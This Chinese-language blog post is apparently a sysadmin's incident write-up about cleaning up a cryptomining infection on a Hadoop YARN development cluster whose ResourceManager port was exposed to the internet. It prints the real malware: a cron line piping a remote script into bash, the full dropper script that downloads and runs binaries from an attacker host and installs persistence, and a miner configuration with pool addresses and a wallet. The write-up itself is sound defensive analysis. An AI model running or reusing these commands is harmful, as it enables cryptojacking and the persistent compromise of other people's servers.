其實是在寫一個小東西的時候, 有一部分想看看 Kafka 的一些狀況參考一下, 跑到開發集羣上去看了看, 結果發現 Yarn 狀態不對。 首先時看到 9 個 NodeManager 只有 1個是運行狀態。 因而就遵循正常反應把這些宕掉的 NodeManager 起氣來。 啓動後, NodeManager 隔一會又宕機, 那就有些奇怪了。 因而去查看 Yarn 整個服務的狀態:html
root.default
, 全部任務提交到 root.default
隊列日誌中充滿這種錯誤, 引發緣由是任務提交錯誤。java
ERROR metrics.SystemMetricsPublisher SystemMetricsPublisher.java:517 - Error when publishing entity [YARN_APPLICATION,application_1530068175881_82856], server side error code: 7
大量 Job 錯誤日誌node
2019-01-14 16:53:39,178 WARN ipc.Client Client.java:886 - Failed to connect to server: master3.hadoop.ds.com/192.168.1.162:8031: retries get failed due to exceeded maximum allowed retries number: 0 java.net.ConnectException: Connection refused at sun.nio.ch.SocketChannelImpl.checkConnect(Native Method) at sun.nio.ch.SocketChannelImpl.finishConnect(SocketChannelImpl.java:717) at org.apache.hadoop.net.SocketIOWithTimeout.connect(SocketIOWithTimeout.java:206) at org.apache.hadoop.net.NetUtils.connect(NetUtils.java:531) at org.apache.hadoop.net.NetUtils.connect(NetUtils.java:495) at org.apache.hadoop.ipc.Client$Connection.setupConnection(Client.java:650) at org.apache.hadoop.ipc.Client$Connection.setupIOstreams(Client.java:745) at org.apache.hadoop.ipc.Client$Connection.access$3200(Client.java:397) at org.apache.hadoop.ipc.Client.getConnection(Client.java:1618) at org.apache.hadoop.ipc.Client.call(Client.java:1449) at org.apache.hadoop.ipc.Client.call(Client.java:1396) at org.apache.hadoop.ipc.ProtobufRpcEngine$Invoker.invoke(ProtobufRpcEngine.java:233) at com.sun.proxy.$Proxy83.nodeHeartbeat(Unknown Source) at org.apache.hadoop.yarn.server.api.impl.pb.client.ResourceTrackerPBClientImpl.nodeHeartbeat(ResourceTrackerPBClientImpl.java:80) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.apache.hadoop.io.retry.RetryInvocationHandler.invokeMethod(RetryInvocationHandler.java:278) at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke(RetryInvocationHandler.java:194) at org.apache.hadoop.io.retry.RetryInvocationHandler.invoke(RetryInvocationHandler.java:176) at com.sun.proxy.$Proxy84.nodeHeartbeat(Unknown Source) at org.apache.hadoop.yarn.server.nodemanager.NodeStatusUpdaterImpl$1.run(NodeStatusUpdaterImpl.java:701) at java.lang.Thread.run(Thread.java:748)
目前在開發集羣中沒有相關任務的提交, 嚴格來講, 從集羣搭建好之後, 沒有主動提交過任務, 包括 Hive 也沒有使用。apache
可是集羣中的任務狀況以下:json
在 root.default
隊列已經有 20000 個正在等待的 task。api
集羣中無可用資源。安全
集羣中有 9 個 Yarn Client, 能夠提交任務, 同時能夠經過 Spark, Hive 等提交任務。bash
首先是查找這些 Task 的狀況, 在 Yarn 的任務管理界面發現 ACCEPTED
狀態的任務已經有 20000 個, 沒有任何 Task 是 RUNNING
狀態, 且優先級爲 -1, 提交的用戶爲 Yarn。 同時查看任務狀況, 任務提交日期爲 230 天前。服務器
查看有客戶端的服務器, Yarn 的 history 爲空, 即沒有顯式的提交任務。 這些任務是經過其餘應用程序獲取到 Yarn 用戶的權限來提交。網絡
因爲 ACCEPTED
的 Task 較多, 將 Yarn 的 配置 disable, 重啓 Yarn, 來釋放全部任務, 重啓 Yarn 服務後, 在啓動後大概 1min 後, 開始有 Task 提交, 且申請的資源是從當前容許的最大資源量開始申請, 一直到最後申請的資源穩定到 2GB memory & 1 VCore。 剛重啓後, 全部服務運行正常, 從第一個 Task 提交後, 開始有 NodeManager 宕掉, 分配一個任務到某個 NodeManager 後, 被分配任務的 NodeManager 宕掉。
發現Active ResourceManager的8088端口有異常 IP144.217.129.21
訪問。 懷疑是由該 IP 提交的任務。 重啓網絡後, 在一段時間內不會新增任務, 配置訪問 IP 限制, 限制了該網絡後, 一段時間後, 有另外一個異常 IP 與 Yarn 通訊。 配置只有局域網可訪問的狀況下, 發現一個新的地址在訪問 ResourceManager, 且仍然有任務在提交。 一段時間後(大概20min左右), 144.217.129.21
又從新開始訪問 ResourceManager。聯想到到被挖礦的案例。
這個集羣從去年開始是由其餘同窗在維護,我被拉去作一些亂七八糟的事情,出現問題的時候有時候得去搭把手。而後不知道何時,有人把Yarn的8088端口映射到公網,並且映射端口號也是8088。能氣死我的😡
附: ResourceManager REST API’s., 提交任務的 URL 爲: http://<rm http address:port>/ws/v1/cluster/apps
在解決好非法任務提交的問題後, 發現 NodeManager 仍然沒法啓動。 日誌中也沒有異常, 惟一一個問題是: 經過 yarn 用戶查看啓動日誌時, 總會莫名其妙的丟失鏈接。 嘗試手動啓動 Yarn NodeManager 總會出現被 killed 的狀況。 猜想可能和 yarn 用戶相關。 切換其餘用戶手動啓動 Yarn NodeManager, 發現並無被 killed 的狀況,證實猜測。查看定時任務日誌並檢查有沒有異常的定時任務, 發現大量異常日誌, 日誌內容以下(重複日誌, 只取其中一條):
<time> worker1 CROND[25382]: (yarn) CMD (wget -q -O - http://158.69.133.18:8220/12.jpg | bash -sh > /dev/null 2>&1)
日誌中的 http://158.69.133.18:8220/12.jpg
爲一個腳本, download 下來, 該腳本內容爲:
#!/bin/sh pkill -f 202.144.193.167 pkill -f /tmp/orgf pkill -f YB1.conf ps ax | grep -vw 'YB1.conf' | grep -v grep | awk '{print $1}' | xargs kill -9 pkill -f kkk1.conf pkill -f /var/tmp/look netstat -antp | grep '198.13.59.244' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 rm -rf /tmp/tmp.* netstat -antp | grep '127.0.0.1:1757' | grep 'LISTEN' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 pkill -f 111.73.46.172 pkill -f gg1.conf pkill -f orgfs pkill -f dd1.conf pkill -f 46.249.38.186 pid=$(cat /tmp/.tmp/bash.pid) kill $pid >/dev/null 2>&1 rm -rf /var/tmp/tmp.txt rm -rf /tmp/tmp.txt mkdir /var/tmp/tmp chmod 777 /var/tmp/tmp rm -rf /var/tmp/java rm -rf /var/tmp/ppl3 rm -rf /tmp/ppl3 rm -rf /tmp/java ps aux | grep -vE 'java|pscf|bin|usr' | awk '{if($3>20.0) print $2}' | while read procid do kill -9 $procid done ps -fe|grep -w pcp|grep -v grep if [ $? -eq 0 ] then pwd else curl -o /var/tmp/tmp/pcp http://158.69.133.18:8220/a.json curl -o /var/tmp/tmp/java http://158.69.133.18:8220/rig curl -o /var/tmp/tmp/run http://158.69.133.18:8220/run curl -o /var/tmp/tmp/a http://158.69.133.18:8220/a curl -o /var/tmp/tmp/b http://158.69.133.18:8220/b curl -o /var/tmp/tmp/e http://158.69.133.18:8220/e curl -o /var/tmp/tmp/qwefdas1 http://158.69.133.18:8220/qwefdas1 curl -o /var/tmp/tmp/ppq http://158.69.133.18:8220/ppq curl -o /var/tmp/tmp/1 http://158.69.133.18:8220/1 curl -o /var/tmp/tmp/h64 http://158.69.133.18:8220/h64 curl -o /var/tmp/tmp/u http://158.69.133.18:8220/u chmod 777 /var/tmp/tmp/run chmod 777 /var/tmp/tmp/a chmod 777 /var/tmp/tmp/b chmod 777 /var/tmp/tmp/qwefdas1 chmod 777 /var/tmp/tmp/ppq chmod 777 /var/tmp/tmp/1 chmod 777 /var/tmp/tmp/u chmod 777 /var/tmp/tmp/h64 chmod 777 /var/tmp/tmp/java cd /var/tmp/tmp ./run >/dev/null 2>&1 ./a >/dev/null 2>&1 ./b >/dev/null 2>&1 ./c >/dev/null 2>&1 ./e >/dev/null 2>&1 name=$(echo $RANDOM | md5sum | cut -c 5-10) fi sleep 3 ./$name rm -rf /var/tmp/tmp/run rm -rf /var/tmp/tmp/a rm -rf /var/tmp/tmp/b rm -rf /var/tmp/tmp/e rm -rf /var/tmp/tmp/pcp rm -rf /var/tmp/tmp/1 rm -rf /var/tmp/tmp/2 rm -rf /var/tmp/tmp/3 rm -rf /var/tmp/tmp/4 rm -rf /var/tmp/tmp/5 rm -rf /var/tmp/tmp/6 crontab -l | sed '/46.249.38.186/d' | crontab - crontab -l | sed '/192.99.55.69/d' | crontab - crontab -l | sed '/3389.space/d' | crontab - crontab -l | sed '/upd/d' | crontab - if crontab -l | grep -q "158.69.133.18:8220" then echo "Cron exists" else echo "Cron not found" LDR="wget -q -O -" if [ -s /usr/bin/curl ]; then LDR="curl"; fi if [ -s /usr/bin/wget ]; then LDR="wget -q -O -"; fi (crontab -l 2>/dev/null; echo "* * * * * $LDR http://158.69.133.18:8220/12.jpg | bash -sh > /dev/null 2>&1")| crontab - f158.69.133.18:8220/ nohup ./u >/dev/null & cp qwefdas1 $name chmod 777 $name ./&name disown ./&name screen -S 1 ./$name echo "runing....."
經過上面地址找到配置:
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": true, "colors": true, "cpu-affinity": null, "cpu-priority": 5, "donate-level": 1, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 95, "pools": [ { "url": "158.69.133.18:80", "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": true, "variant": -1, "tls": false, "tls-fingerprint": null }, { "url": "192.99.142.249:3333", "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": true, "variant": -1, "tls": false, "tls-fingerprint": null }, { "url": "202.144.193.110:3333", "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": true, "variant": -1, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": { "cn": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "cn-lite": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "cn-heavy": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ] }, "algo-perf": { "cn": 2.0, "cn/2": 2.0, "cn/msr": 2.0, "cn-lite": 2.0, "cn-heavy": 2.0 }, "calibrate-algo": false, "calibrate-algo-time": 10, "user-agent": null, "syslog": false, "watch": false }
http://158.69.133.18:8220/rig
和 http://158.69.133.18:8220/h64
的地址是一個可執行文件, http://158.69.133.18:8220/u
配置 crontab, http://158.69.133.18:8220/ppq
是啓動腳本, http://158.69.133.18:8220/qwefdas1
腳本看內容是在配置什麼東西, 其他的 URL 的腳本以下:
#!/bin/bash HIDE="/.tmp/java-" ./h64 -s $HIDE ./java -c pcp >>/dev/null &
沒有檢查到任何這幾個文件相關的內容和相關進程, 同時也沒找到被替換的系統指令, 能夠認定隱患已經清除。
關於此次安全隱患, 主要來自 "8220團伙", 詳細的說明能夠參考如下文章: